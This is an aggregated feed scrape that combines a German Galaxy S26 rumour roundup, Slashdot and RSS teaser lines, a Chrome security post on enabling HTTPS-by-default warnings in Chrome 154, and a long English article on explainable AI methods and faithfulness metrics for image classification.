Softwareseitig ist die Richtung klar: Die Galaxy-S26-Serie wird nahezu sicher mit Android 16 ausgeliefert, überlagert von Samsungs eigener Benutzeroberfläche One UI 8.5. Anders als zunächst angenommen handelt es sich dabei offenbar nicht nur um eine kleine Zwischenversion, sondern um einen leicht erweiterten Ableger von One UI 8. Hinweise darauf finden sich laut Leaks bereits in entsprechenden Firmware-Einträgen auf Samsungs Servern.

Konkrete Neuerungen sind zwar noch rar, doch einige Funktionen gelten als wahrscheinlich. So soll Samsung bei der Auswahl virtueller Assistenten offener werden. Während Nutzer der Galaxy-S25-Serie auf Google Gemini oder Bixby beschränkt sind, soll Samsung derzeit mit mehreren Anbietern sprechen. Als heißester Kandidat für eine Integration gilt dabei Perplexity AI, aber auch andere KI-Assistenten könnten neben Gemini künftig eine Rolle spielen.

Luke Baker / Foundry

Ebenfalls in Vorbereitung ist eine neue Datenschutzfunktion, die je nach Leak als „Privacy Display“ oder „Private Display“ bezeichnet wird. In Kombination mit der neuen Display-Technik des Galaxy S26 Ultra sollen dabei Inhalte für Personen außerhalb des direkten Blickwinkels schlechter sichtbar sein. Im Alltag könnte das vor allem bei sensiblen Anwendungen wie Banking-Apps oder E-Mails nützlich sein.

Darüber hinaus gibt es Hinweise auf eine spezielle zweite Variante des Galaxy S26 Ultra mit direkter Satellitenanbindung, die zunächst nur in China erscheinen soll. Diese Version könnte das Versenden von Nachrichten und Standortdaten auch ohne Mobilfunknetz ermöglichen und damit insbesondere in Notfallsituationen Vorteile bieten. Ob und wann diese Technik global verfügbar wird, ist derzeit noch offen.

Unabhängig von neuen Funktionen dürfte Samsung auch bei der Update-Politik konsequent bleiben. Sieben Jahre Betriebssystem- und Sicherheits-Updates gelten weiterhin als gesetzt und bleiben ein starkes Argument für die Galaxy-S-Reihe.

Quellen: Tarun Vats via X | SamMobile | Bloomberg Technology via YouTube | Android Authority | Abhishek Yadav via X

Fazit

Die Galaxy S26-Serie deutet sich weniger als große Revolution, sondern vielmehr als gezielte Weiterentwicklung an. Samsung schraubt an vielen Details, ohne das bewährte Grundkonzept links liegen zu lassen. Das Design wird schlanker und moderner, die Displays (insbesondere beim Ultra) deutlich technischer und beim Laden gibt es zumindest beim Topmodell spürbare Fortschritte.

Gleichzeitig bleiben große Sprünge bei Akku und Kamera aus. Wer hier auf einen radikalen Umbruch gehofft hat, dürfte eher enttäuscht sein. Stattdessen setzt Samsung offenbar auf effizientere Chips, smartere Software und neue Komfortfunktionen wie Qi2-Magnetladen oder Display-basierte Privatsphäre.

Unterm Strich spricht vieles dafür, dass sich die Galaxy S26-Reihe vor allem an bestehende Samsung-Nutzer richtet, die ein rundes, ausgereiftes Upgrade suchen, und weniger an jene, die auf den nächsten großen Technologiesprung warten.

Das ist alles, was wir derzeit über die Galaxy S26-Serie wissen. Wir werden diesen Artikel aktualisieren, wenn wir etwas Neues erfahren. Lesen Sie in der Zwischenzeit gerne unseren Beitrag zu den besten Smartphones im Test.

Weiterführende Links

• Die besten Samsung-Galaxy-Smartphones im Test
• Die besten Smartphones bis 500 Euro im Test
• Die Geschichte des Smartphones – wie alles begann
• Galaxy S25 Ultra vs. Pixel 9 Pro XL: Kampf der Titanen

Read more of this story at Slashdot.

Read more of this story at Slashdot.

Read more of this story at Slashdot.

GDPR fines pushed past the £1 billion (€1.2 billion) mark in 2025 as Europe's regulators were deluged with more than 400 data breach notifications a day, according to a new survey that suggests the post-plateau era of enforcement has well and truly arrived.…

Read more →

The post One criminal, 50 hacked organizations, and all because MFA wasn’t turned on appeared first on IT Security News.

Personalize your iPhone 17 Pro camera plateau with stickers. Lots of people are doing it in fun and creative ways.

(via Cult of Mac - Your source for the latest Apple news, rumors, analysis, reviews, how-tos and deals.)

Read more of this story at Slashdot.

Read more of this story at Slashdot.

Read more of this story at Slashdot.

Read more of this story at Slashdot.

The “Always Use Secure Connections” setting warns users before accessing a site without HTTPS

Chrome Security's mission is to make it safe to click on links. Part of being safe means ensuring that when a user types a URL or clicks on a link, the browser ends up where the user intended. When links don't use HTTPS, an attacker can hijack the navigation and force Chrome users to load arbitrary, attacker-controlled resources, and expose the user to malware, targeted exploitation, or social engineering attacks. Attacks like this are not hypothetical—software to hijack navigations is readily available and attackers have previously used insecure HTTP to compromise user devices in a targeted attack.

Since attackers only need a single insecure navigation, they don't need to worry that many sites have adopted HTTPS—any single HTTP navigation may offer a foothold. What's worse, many plaintext HTTP connections today are entirely invisible to users, as HTTP sites may immediately redirect to HTTPS sites. That gives users no opportunity to see Chrome's "Not Secure" URL bar warnings after the risk has occurred, and no opportunity to keep themselves safe in the first place.

To address this risk, we launched the “Always Use Secure Connections” setting in 2022 as an opt-in option. In this mode, Chrome attempts every connection over HTTPS, and shows a bypassable warning to the user if HTTPS is unavailable. We also previously discussed our intent to move towards HTTPS by default. We now think the time has come to enable “Always Use Secure Connections” for all users by default.

Now is the time.

For more than a decade, Google has published the HTTPS transparency report, which tracks the percentage of navigations in Chrome that use HTTPS. For the first several years of the report, numbers saw an impressive climb, starting at around 30-45% in 2015, and ending up around the 95-99% range around 2020. Since then, progress has largely plateaued.

HTTPS adoption expressed as a percentage of main frame page loads

This rise represents a tremendous improvement to the security of the web, and demonstrates that HTTPS is now mature and widespread. This level of adoption is what makes it possible to consider stronger mitigations against the remaining insecure HTTP.

Balancing user safety with friction

While it may at first seem that 95% HTTPS means that the problem is mostly solved, the truth is that a few percentage points of HTTP navigations is still a lot of navigations. Since HTTP navigations remain a regular occurrence for most Chrome users, a naive approach to warning on all HTTP navigations would be quite disruptive. At the same time, as the plateau demonstrates, doing nothing would allow this risk to persist indefinitely. To balance these risks, we have taken steps to ensure that we can help the web move towards safer defaults, while limiting the potential annoyance warnings will cause to users.

One way we're balancing risks to users is by making sure Chrome does not warn about the same sites excessively. In all variants of the "Always Use Secure Connections" settings, so long as the user regularly visits an insecure site, Chrome will not warn the user about that site repeatedly. This means that rather than warn users about 1 out of 50 navigations, Chrome will only warn users when they visit a new (or not recently visited) site without using HTTPS.

To further address the issue, it's important to understand what sort of traffic is still using HTTP. The largest contributor to insecure HTTP by far, and the largest contributor to variation across platforms, is insecure navigations to private sites. The graph above includes both those to public sites, such as example.com, and navigations to private sites, such as local IP addresses like 192.168.0.1, single-label hostnames, and shortlinks like intranet/. While it is free and easy to get an HTTPS certificate that is trusted by Chrome for a public site, acquiring an HTTPS certificate for a private site unfortunately remains complicated. This is because private names are "non-unique"—private names can refer to different hosts on different networks. There is no single owner of 192.168.0.1 for a certification authority to validate and issue a certificate to.

HTTP navigations to private sites can still be risky, but are typically less dangerous than their public site counterparts because there are fewer ways for an attacker to take advantage of these HTTP navigations. HTTP on private sites can only be abused by an attacker also on your local network, like on your home wifi or in a corporate network.

If you exclude navigations to private sites, then the distribution becomes much tighter across platforms. In particular, Linux jumps from 84% HTTPS to nearly 97% HTTPS when limiting the analysis to public sites only. Windows increases from 95% to 98% HTTPS, and both Android and Mac increase to over 99% HTTPS.

In recognition of the reduced risk HTTP to private sites represents, last year we introduced a variant of “Always Use Secure Connections” for public sites only. For users who frequently access private sites (such as those in enterprise settings, or web developers), excluding warnings on private sites significantly reduces the volume of warnings those users will see. Simultaneously, for users who do not access private sites frequently, this mode introduces only a small reduction in protection. This is the variant we intend to enable for all users next year.

“Always Use Secure Connections,” available at chrome://settings/security

In Chrome 141, we experimented with enabling “Always Use Secure Connections” for public sites by default for a small percentage of users. We wanted to validate our expectations that this setting keeps users safer without burdening them with excessive warnings.

Analyzing the data from the experiment, we confirmed that the number of warnings seen by any users is considerably lower than 3% of navigations—in fact, the median user sees fewer than one warning per week, and the ninety-fifth percentile user sees fewer than three warnings per week..

Understanding HTTP usage

Once “Always Use Secure Connections” is the default and additional sites migrate away from HTTP, we expect the actual warning volume to be even lower than it is now. In parallel to our experiments, we have reached out to a number of companies responsible for the most HTTP navigations, and expect that they will be able to migrate away from HTTP before the change in Chrome 154. For many of these organizations, transitioning to HTTPS isn't disproportionately hard, but simply has not received attention. For example, many of these sites use HTTP only for navigations that immediately redirect to HTTPS sites—an insecure interaction which was previously completely invisible to users.

Another current use case for HTTP is to avoid mixed content blocking when accessing devices on the local network. Private addresses, as discussed above, often do not have trusted HTTPS certificates, due to the difficulties of validating ownership of a non-unique name. This means most local network traffic is over HTTP, and cannot be initiated from an HTTPS page—the HTTP traffic counts as insecure mixed content, and is blocked. One common use case for needing to access the local network is to configure a local network device, e.g. the manufacturer might host a configuration portal at config.example.com, which then sends requests to a local device to configure it.

Previously, these types of pages needed to be hosted without HTTPS to avoid mixed content blocking. However, we recently introduced a local network access permission, which both prevents sites from accessing the user’s local network without consent, but also allows an HTTPS site to bypass mixed content checks for the local network once the permission has been granted. This can unblock migrating these domains to HTTPS.

Changes in Chrome

We will enable the "Always Use Secure Connections" setting in its public-sites variant by default in October 2026, with the release of Chrome 154. Prior to enabling it by default for all users, in Chrome 147, releasing in April 2026, we will enable Always Use Secure Connections in its public-sites variant for the over 1 billion users who have opted-in to Enhanced Safe Browsing protections in Chrome.

While it is our hope and expectation that this transition will be relatively painless for most users, users will still be able to disable the warnings by disabling the "Always Use Secure Connections" setting.

If you are a website developer or IT professional, and you have users who may be impacted by this feature, we very strongly recommend enabling the "Always Use Secure Connections" setting today to help identify sites that you may need to work to migrate. IT professionals may find it useful to read our additional resources to better understand the circumstances where warnings will be shown, how to mitigate them, and how organizations that manage Chrome clients (like enterprises or educational institutions) can ensure that Chrome shows the right warnings to meet those organizations' needs.

Looking Forward

While we believe that warning on insecure public sites represents a significant step forward for the security of the web, there is still more work to be done. In the future, we hope to work to further reduce barriers to adoption of HTTPS, especially for local network sites. This work will hopefully enable even more robust HTTP protections down the road.

Read more of this story at Slashdot.

Read more of this story at Slashdot.

Read more of this story at Slashdot.

iPhone 17 Pro und iPhone 17 Pro Max sind erneut die Apple-Smartphones mit der maximalen Ausstattung und Leistung. Das neue Design in Silber, Cosmic Orange und Tiefblau zeichnet sich durch das „Kamera-Plateau“ mit drei 48-MP-Kameras aus. Den neuen A19 Pro soll eine Vapor Chamber kühlen. Und die Akkulaufzeiten wachsen.

The post KB5058499 finally makes Windows 11 24H2 stable for gaming, and it wasn’t Nvidia’s fault appeared first on Windows Latest

Read more of this story at Slashdot.

Read the full article on GamingOnLinux.

Read more of this story at Slashdot.

Read more of this story at Slashdot.

Read more of this story at Slashdot.

Background

Imagine you are navigating a self-driving car, relying entirely on its onboard computer to make split-second decisions. It detects objects, identifies pedestrians, and even can anticipate behavior of other vehicles on the road. But here’s the catch: you know it works, of course, but you have no idea how. If something unexpected happens, there’s no clear way to understand the reasoning behind the outcome. This is where eXplainable AI (XAI) steps in. Deep learning models, often seen as “black boxes”, are increasingly used to leverage automated predictions and decision-making across domains. Explainability is all about opening up that box. We can think of it as a toolkit that helps us understand not only what these models do, but also why they make the decisions they do, ensuring these systems function as intended.

The field of XAI has made significant strides in recent years, offering insights into model internal workings. As AI becomes integral to critical sectors, addressing responsibility aspects becomes essential for maintaining reliability and trust in such systems [Göllner & a Tropmann-Frick, 2023, Baker&Xiang, 2023]. This is especially crucial for high-stakes applications like automotive, aerospace, and healthcare, where understanding model decisions ensures robustness, reliability, and safe real-time operations [Sutthithatip et al., 2022, Borys et al., 2023, Bello et al., 2024]. Whether explaining why a medical scan was flagged as concerning for a specific patient or identifying factors contributing to model misclassification in bird detection for wind power risk assessments, XAI methods allow a peek inside the model’s reasoning process.

We often hear about boxes and their kinds in relation to models and transparency levels, but what does it really mean to have an explainable AI system? How does this apply to deep learning for optimizing system performance and simplifying maintenance? And it’s not just about satisfying our curiosity. In this article, we will explore how explainability has evolved over the past decades to reshape the landscape of computer vision, and vice versa. We will review key historical milestones that brought us here (section 1), break down core assumptions, domain applications, and industry perspectives on XAI (section 2). We will also discuss human-centric approach to explainability, different stakeholders groups, practical challenges and needs, along with possible solutions towards building trust and ensuring safe AI deployment in line with regulatory frameworks (section 3.1). Additionally, you will learn about commonly used XAI methods for vision and examine metrics for evaluating how well these explanations work (section 3.2). The final part (section 4) will demonstrate how explainability methods and metrics can be effectively applied to leverage understanding and validate model decisions on fine-grained image classification.

1. Back to the roots: Historical milestones in (X)AI

Over the past century, the field of deep learning and computer vision has witnessed critical milestones that have not only shaped modern AI but have also contributed to the development and refinement of explainability methods and frameworks. Let’s take a look back to walk through the key developments and historical milestones in deep learning before and after explainability, showcasing their impact on the evolution of XAI for vision (coverage: 1920s — Present):

• 1924: Franz Breisig, a German mathematician, regards the explicit use of quadripoles in electronics as a “black box”, the notion used to refer to a system where only terminals are visible, with internal mechanisms hidden.
• 1943: Warren McCulloch and Walter Pitts publish in their seminal work “A Logical Calculus of the Ideas Immanent in Nervous Activity” the McCulloch-Pitts (MCP) neuron, the first mathematical model of an artificial neuron, forming the basis of neural networks.
• 1949: Donald O. Hebb, introduces a neuropsychological concept of Hebbian learning, explaining a basic mechanism for synaptic plasticity, suggesting that (brain) neural connections strengthen with use (cells that fire together, wire together), thus being able to be re-modelled via learning.
• 1950: Alan Turing publishes “Computing Machinery and Intelligence”, presenting his groundbreaking idea of what came to be known as the Turing test for determining whether a machine can “think”.
• 1958: Frank Rosenblatt, an American psychologist, proposes perceptron, a first artificial neural network in his “The perceptron: A probabilistic model for information storage and organisation in the brain”.

• 1962: Frank Rosenblatt introduces the back-propagation error correction, a fundamental concept for computer learning, that inspired further DL works.
• 1963: Mario Bunge, an Argentine-Canadian philosopher and physicist, publishes “A General Black Box Theory”, contributing to the development of black box theory and defining it as an abstraction that represents “a set of concrete systems into which stimuli S impinge and output of which reactions R emerge”.
• 1967: Shunichi Amari, a Japanese engineer and neuroscientist, pioneers the first multilayer perceptron trained with stochastic gradient descent for classifying non-linearly separable patterns.
• 1969: Kunihiko Fukushima, a Japanese computer scientist, introduces Rectified Linear Unit (ReLU), which has since become the most widely adopted activation function in deep learning.
• 1970: Seppo Linnainmaa, a Finnish mathematician and computer scientist, proposes the “reverse mode of automatic differentiation” in his master’s thesis, a modern variant of backpropagation.
• 1980: Kunihiko Fukushima introduces Neocognitron, an early deep learning architecture for convolutional neural networks (CNNs), which does not use backpropagation for training.
• 1989: Yann LeCun, a French-American computer scientist, presents LeNet, the first CNN architecture to successfully apply backpropagation for handwritten ZIP code recognition.
• 1995: Morch et al. introduce saliency maps, offering one of the first explainability approaches for unveiling internal workings of deep neural networks.
• 2000s: Further advances including development of CUDA, enabling parallel processing on GPUs for high-performance scientific computing, alongside ImageNet, a large-scale manually curated visual dataset, pushing forward fundamental and applied AI research.
• 2010s: Continued breakthroughs in computer vision, such as Krizhevsky, Sutskever, and Hinton’s deep convolutional network for ImageNet classification, drive widespread AI adoption across industries. The field of XAI flourishes with the emergence of CNN saliency maps, LIME, Grad-CAM, and SHAP, among others.

• 2020s: The AI boom gains momentum with the 2017 paper “Attention Is All You Need”, which introduces an encoder-decoder architecture, named Transformer, which catalyzes the development of more advanced transformer-based architectures. Building on early successes such as Allen AI’s ELMo, Google’s BERT, and OpenAI’s GPT, Transformer is applied across modalities and domains, including vision, accelerating progress in multimodal research. In 2021, OpenAI introduces CLIP, a model capable of learning visual concepts from natural language supervision, paving the way for generative AI innovations, including DALL-E (2021), Stable Diffusion 3 (2024), and Sora (2024), enhancing image and video generation capabilities.
• 2024: The EU AI Act comes into effect, establishing legal requirements for AI systems in Europe, including mandates for transparency, reliability, and fairness. For example, Recital 27 defines transparency for AI systems as: “developed and used in a way that allows appropriate traceability and explainability […] contributing to the design of coherent, trustworthy and human-centric AI”.

As we can see, early works primarily focused on foundational approaches and algorithms. with later advancements targeting specific domains, including computer vision. In the late 20th century, key concepts began to emerge, setting the stage for future breakthroughs like backpropagation-trained CNNs in the 1980s. Over time, the field of explainable AI has rapidly evolved, enhancing our understanding of reasoning behind prediction and enabling better-informed decisions through increased research and industry applications. As (X)AI gained traction, the focus shifted to balancing system efficiency with interpretability, aiding model understanding at scale and integrating XAI solutions throughout the ML lifecycle [Bhatt et al., 2019, Decker et al., 2023]. Essentially, it is only in the past two decades that these technologies have become practical enough to result in widespread adoption. More lately, legislative measures and regulatory frameworks, such as the EU AI Act (Aug 2024) and China TC260’s AI Safety Governance Framework (Sep 2024), have emerged, marking the start of more stringent regulations for AI development and deployment, including the right enforcing “to obtain from the deployer clear and meaningful explanations of the role of the AI system in the decision-making procedure and the main elements of the decision taken” (Article 86, 2026). This is where XAI can prove itself at its best. Still, despite years of rigorous research and growing emphasis on explainability, the topic seems to have faded from the spotlight. Is that really the case? Now, let’s consider it all from a bird’s eye view.

2. AI delight then and now: XAI & RAI perspectives

Today is an exciting time to be in the world of technology. In the 1990s, Gartner introduced something called the Hype cycle to describe how emerging technologies evolve over time — from the initial spark of interest to societal application. According to this methodology, technologies typically begin with innovation breakthroughs (referred to as the “Technology trigger”), followed by a steep rise in excitement, culminating at the “Peak of inflated expectations”. However, when the technology doesn’t deliver as expected, it plunges into the “Trough of disillusionment,” where enthusiasm wanes, and people become frustrated. The process can be described as a steep upward curve that eventually descends into a low point, before leveling off into a more gradual ascent, representing a sustainable plateau, the so-called “Plateau of productivity”. The latter implies that, over time, a technology can become genuinely productive, regardless of the diminished hype surrounding it.

Look at previous technologies that were supposed to solve everything — intelligent agents, cloud computing, blockchain, brain-computer interfaces, big data, and even deep learning. They all came up to have fantastic places in the tech world, but, of course, none of them became a silver bullet. Similar goes with the explainability topic now. And we can see over and over that history repeats itself. As highlighted by the Gartner Hype Cycle for AI 2024 (Fig. 3), Responsible AI (RAI) is gaining prominence (top left), expected to reach maturity within the next five years. Explainability provides a foundation for responsible AI practices by ensuring transparency, accountability, safety, and fairness.

Figure below overviews XAI research trends and applications, derived from scientific literatures published between 2018 and 2022 to cover various concepts within the XAI field, including “explainable artificial intelligence”, “interpretable artificial intelligence”, and “responsible artificial intelligence” [Clement et al., 2023]. Figure 4a outlines key XAI research areas based on the meta-review results. The largest focus (44%) is on designing explainability methods, followed by 15% on XAI applications across specific use cases. Domain-dependent studies (e.g., finance) account for 12%, with smaller areas — requirements analysis, data types, and human-computer interaction — each making up around 5–6%.

Next to it are common application fields (Fig. 4b), with headcare leading (23%), driven by the need for trust-building and decision-making support. Industry 4.0 (6%) and security (4%) follow, where explainability is applied to industrial optimization and fraud detection. Other fields include natural sciences, legal studies, robotics, autonomous driving, education, and social sciences [Clement et al., 2023, Chen et al., 2023, Loh et al., 2022]. As XAI progresses toward a sustainable state, research and development become increasingly focused on addressing fairness, transparency, and accountability [Arrieta et al., 2020, Responsible AI Institute Standards, Stanford AI Index Report]. These dimensions are crucial for ensuring equitable outcome, clarifying decision-making processes, and establishing responsibility for those decisions, thereby fostering user confidence, and aligning with regulatory frameworks and industry standards. Reflecting the trajectory of past technological advances, the rise of XAI highlights both the challenges and opportunities for building AI-driven solutions, establishing it as an important element in responsible AI practices, enhancing AI’s long-term relevance in real-world applications.

3. To put the spotlight back on XAI: Explainability 101

3.1. Why and when model understanding

Here is a common perception of AI systems: You put data in, and then, there is black box processing it, producing an output, but we cannot examine the system’s internal workings. But is that really the case? As AI continues to proliferate, the development of reliable, scalable, and transparent systems becomes increasingly vital. Put simply: the idea of explainable AI can be described as doing something to provide a clearer understanding of what happens between the input and output. In a broad sense, one can think about it as a collection of methods allowing us to build systems capable of delivering desirable results. Practically, model understanding can be defined as the capacity to generate explanations of the model’s behaviour that users can comprehend. This understanding is crucial in a variety of use cases across industries, including:

• Model debugging and quality assurance (e.g., manufacturing, robotics);
• Ensuring system trustability for end-users (medicine, finance);
• Improving system performance by identifying scenarios where the model is likely to fail (fraud detection in banking, e-commerce);
• Enhancing system robustness against adversaries (cybersecurity, autonomous vehicles);
• Explaining decision-making processes (finance for credit scoring, legal for judicial decisions);
• Detecting data mislabelling and other issues (customer behavior analysis in retail, medical imaging in healthcare).

The growing adoption of AI has led to its widespread use across domains and risk applications. And here is the trick: human understanding is not the same as model understanding. While AI models process information in ways that are not inherently intuitive to humans, one of the primary objectives of XAI is to create systems that effectively communicate their reasoning — in other words, “speak” — in terms that are accessible and meaningful to und users. So, the question, then, is how can we bridge the gap between what a model “knows” and how humans comprehend its outputs?

3.2. Who is it for — Stakeholders desiderata on XAI

Explainable AI is not just about interpreting models but enabling machines to effectively support humans by transferring knowledge. To address these aspects, one can think on how explainability can be tied to expectations of diverse personas and stakeholders involved in AI ecosystems. These groups usually include users, developers, deployers, affected parties, and regulators [Leluschko&Tholen,2023]. Accordingly, their desiderata — i.e. features and results they expect from AI — also vary widely, suggesting that explainability needs to cater to a wide array of needs and challenges. In the study, Langer et al., 2021 highlight that understanding plays a critical role in addressing the epistemic facet, referring to stakeholders’ ability to assess whether a system meets their expectations, such as fairness and transparency. Figure 5 presents a conceptual model that outlines the pathway from explainability approaches to fulfilling stakeholders’ needs, which, in turn, affects how well their desiderata are met. But what constitutes a “good” explanation? The study argues that it should be not only accurate, representative, and context-specific with respect to a system and its functioning, but also align with socio-ethical and legal considerations, which can be decisive in justifying certain desiderata. For instance, in high-stakes scenarios like medical diagnosis, the depth of explanations required for trust calibration might be greater [Saraswat et al., 2022].

Here, we can say that the success of XAI as technology hinges on how effectively it facilitates human understanding through explanatory information, emphasizing the need for careful navigation of trade-offs among stakeholders. For instance, for domain experts and users (e.g., doctors, judges, auditors), who deal with interpreting and auditing AI system outputs for decision-making, it is important to ensure explainability results are concise and domain-specific to align them with expert intuition, while not creating information overload, which is especially relevant for human-in-the-loop applications. Here, the challenge may arise due to uncertainty and the lack of clear causality between inputs and outputs, which can be addressed through local post-hoc explanations tailored to specific use cases [Metta et al., 2024]. Affected parties (e.g., job applicants, patients) are individuals impacted by AI’s decisions, with fairness and ethics being key concerns, especially in contexts like hiring or healthcare. Here, explainability approaches can aid in identifying factors contributing to biases in decision-making processes, allowing for their mitigation or, at the very least, acknowledgment and elimination [Dimanov et al., 2020]. Similarly, regulators may seek to determine whether a system is biassed toward any group to ensure compliance with ethical and regulatory standards, with a particular focus on transparency, traceability, and non-discrimination in high-risk applications [Gasser & Almeida, 2017, Floridi et al., 2018, The EU AI Act 2024].

For businesses and organisations adopting AI, the challenge may lie in ensuring responsible implementation in line with regulations and industry standards, while also maintaining user trust [Ali et al., 2023, Saeed & Omlin, 2021]. In this context, using global explanations and incorporating XAI into the ML lifecycle (Figure 6), can be particularly effective [Saeed & Omlin, 2021, Microsoft Responsible AI Standard v2 General Requirements, Google Responsible AI Principles]. Overall, both regulators and deployers aim to understand the entire system to minimize implausible corner cases. When it comes to practitioners (e.g., developers and researchers), who build and maintain AI systems, these can be interested in leveraging XAI tools for diagnosing and improving model performance, along with advancing existing solutions with interpretability interface that can provide details about model’s reasoning [Bhatt et al., 2020]. However, these can come with high computational costs, making large-scale deployment challenging. Here, the XAI development stack can include both open-source and proprietary toolkits, frameworks, and libraries, such as PyTorch Captum, Google Model Card Toolkit, Microsoft Responsible AI Toolbox, IBM AI Fairness 360, for ensuring that systems built are safe, reliable, and trustworthy from development through deployment and beyond.

And as we can see — one size does not fit all. One of the ongoing challenges is to provide explanations that are both accurate and meaningful for different stakeholders while balancing transparency and usability in real-world applications [Islam et al., 2022, Tate et al., 2023, Hutsen, 2023]. Now, let’s talk about XAI in a more practical sense.

4. Model explainability for vision

4.1. Feature attribution methods

As AI systems have advanced, modern approaches have demonstrated substantial improvements in performance on complex tasks, such as image classification (Fig. 2), surpassing earlier image processing techniques that relied heavily on handcrafted algorithms for visual feature extraction and detection [Sobel and Feldman, 1973, Canny, 1987]. While modern deep learning architectures are not inherently interpretable, various solutions have been devised to provide explanations on model behavior for given inputs, allowing to bridge the gap between human (understanding) and machine (processes). Following the breakthroughs in deep learning, various XAI approaches have emerged to enhance explainability aspects in the domain of computer vision. Focusing on image classification and object detection applications, the Figure 7 below outlines several commonly used XAI methods developed over the past decades:

XAI methods can be broadly categorized based on their methodology into backpropagation- and perturbation-based methods, while the explanation scope is either local or global. In computer vision, these methods or combinations of them are used to uncover the decision criteria behind model predictions. Backpropagation-based approaches propagate a signal from the output to the input, assigning weights to each intermediate value computed during the forward pass. A gradient function then updates each parameter at the model to align the output with the ground truth, making these techniques also known as gradient-based methods. Examples include saliency maps [Simonyan et al., 2013], integrated gradient [Sundararajan et al., 2017], Grad-CAM [Selvaraju et al, 2017]. In contrast, perturbation-based methods modify the input through techniques like occlusion [Zeiler & Fergus, 2014], LIME [Ribeiro et al., 2016], RISE [Petsiuk et al., 2018], evaluating how these slight changes impact the network output. Unlike backpropagation-based methods, perturbation techniques don’t require gradients, as a single forward pass is sufficient to assess how the input changes influence the output.

Explainability for “black box” architectures is typically achieved through external post-hoc methods after the model has been trained (e.g., gradients for CNN). In contrast, “white-box” architectures are interpretable by design, where explainability can be achieved as a byproduct of the model training. For example, in linear regression, coefficients derived from solving a system of linear equations can be used directly to assign weights to input features. However, while feature importance is straightforward in the case of linear regression, more complex tasks and advanced architectures consider highly non-linear relationships between inputs and outputs, thus requiring external explainability methods to understand and validate which features have the greatest influence on predictions. That being said, using linear regression for computer vision isn’t a viable approach.

4.2. Evaluation metrics for XAI

Evaluating explanations is essential to ensure that the insights derived from the model and their presentation to end-users — through the explainability interface — are meaningful, useful, and trustworthy [Ali et al., 2023, Naute et al., 2023]. The increasing variety of XAI methods necessitates systematic evaluation and comparison, shifting away from subjective “I know it when I see it” approaches. To address this challenge, researchers have devised numerous algorithmic and user-based evaluation techniques, along with frameworks and taxonomies, to capture both subjective and objective quantitative and qualitative properties of explanations [Doshi-Velez & Kim, 2017, Sokol & Flach, 2020]. Explainability is a spectrum, not a binary characteristic, and its effectiveness can be quantified by assessing the extent to which certain properties are to be fulfilled. One of the ways to categorize XAI evaluation methods is along the so-called Co-12 properties [Naute et al., 2023], grouped by content, presentation, and user dimensions, as summarized in Table 1.

At a more granular level, quantitative evaluation methods for XAI can incorporate metrics, such as faithfulness, stability, fidelity, and explicitness [Alvarez-Melis & Jaakkola, 2018, Agarwal et al., 2022, Kadir et al., 2023], enabling the measurement of the intrinsic quality of explanations. Faithfulness measures how well the explanation aligns with the model’s behavior, focusing on the importance of selected features for the target class prediction. Qi et al., 2020 demonstrated a method for feature importance analysis with Integrated Gradients, emphasizing the importance of producing faithful representations of model behavior. Stability refers to the consistency of explanations across similar inputs. A study by Ribeiro et al., 2016 on LIME highlights the importance of stability in generating reliable explanations that do not vary drastically with slight input changes. Fidelity reflects how accurately an explanation reflects the model’s decision-making process. Doshi-Velez & Kim, 2017 emphasize fidelity in their framework for interpretable machine learning, arguing that high fidelity is essential for trustworthy AI systems. Explicitness involves how easily a human can understand the explanation. Alvarez-Melis & Jaakkola, 2018 discussed robustness in interpretability through self-explaining neural networks (SENN), which strive for explicitness alongside stability and faithfulness.

To link the concepts, the correctness property, as described in Table 1, refers to the faithfulness of the explanation in relation to the model being explained, indicating how truthful the explanation reflects the “true” behavior of the black box. This property is distinct from the model’s predictive accuracy, but rather descriptive to the XAI method with respect to the model’s functioning [Naute et al., 2023, Sokol & Vogt, 2024]. Ideally, an explanation is “nothing but the truth”, so high correctness is therefore desired. The faithfulness via deletion score can be obtained [Won et al., 2023] by calculating normalized area under the curve representing the difference between two feature importance functions: the one built by gradually removing features (starting with the Least Relevant First — LeRF) and evaluating the model performance at every step, and another one, for which the deletion order is random (Random Order — RaO). Computing points for both types of curves starts with providing the full image to the model and continues with a gradual removal of pixels, whose importance, assigned by an attribution method, lies below a certain threshold. A higher score implies that the model has a better ability to retain important information even when redundant features are deleted (Equation 1).

Another approach for evaluating faithfulness is to compute feature importance via insertion, similar to the method described above, but by gradually showing the model the most relevant image regions as identified by the attribution method. The key idea here: include important features and see what happens. In the demo, we will explore both qualitative and quantitative approaches for evaluating model explanations.

5. Feature importance for fine-grained classification

In fine-grained classification tasks, such as distinguishing between different vehicle types or identifying bird species, small variations in visual appearance can significantly affect model predictions. Determining which features are most important for the model’s decision-making process can help to shed light on misclassification issues, thus allowing to optimize the model on the task. To demonstrate how explainability can be effectively applied to leverage understanding on deep learning models for vision, we will consider a use case of bird classification. Bird populations are important biodiversity indicators, so collecting reliable data of species and their interactions across environmental contexts is quite important to ecologists [Atanbori et al., 2016]. In addition, automated bird monitoring systems can also benefit windfarm producers, since the construction requires preliminary collision risk assessment and mitigation at the design stages [Croll et al., 2022]. This part will showcase how to apply XAI methods and metrics to enhance model explainability in bird species classification (more on the topic can be found in the related article and tutorials).

Figure 8 below presents the feature importance analysis results for fine-grained image classification using ResNet-50 pretrained on ImageNet and fine-tuned on the Caltech-UCSD Birds-200–2011 dataset. The qualitative assessment of faithfulness was conducted for the Guided Grad-CAM method to evaluate the significance of the selected features given the model. Quantitative XAI metrics included faithfulness via deletion (FTHN), with higher values indicating better faithfulness, alongside metrics that reflect the degree of non-robustness and instability, such as maximum sensitivity (SENS) and infidelity (INFD), where lower values are preferred. The latter metrics are perturbation-based and rely on the assumption that explanations should remain consistent with small changes in input data or the model itself [Yeh et al., 2019].

When evaluating our model on an independent test image of Northern Cardinal, we notice that slight changes in the model’s scores during the initial iterations are followed by a sharp increase toward the final iteration as the most critical features are progressively incorporated (Fig. 6b). These results suggest two key interpretations regarding the model’s faithfulness with respect to the evaluated XAI methods. Firstly, attribution-based interpretability using Guided GradCAM is faithful to the model, as adding regions identified as redundant (90% of LeRF, axis-x) caused minimal changes in the model’s score (less than 0.1 predicted probability score). This implies that the model did not rely on these regions when making predictions, in contrast to the remaining top 10% of the most relevant features identified. Another category — robustness — refers to the model resilience to small input variations. Here, we can see that changes in around 90% of the original image had little impact on the overall model’s performance, maintaining the target probability score despite changes to the majority of pixels, suggesting its stability and generalization capabilities for the target class prediction.

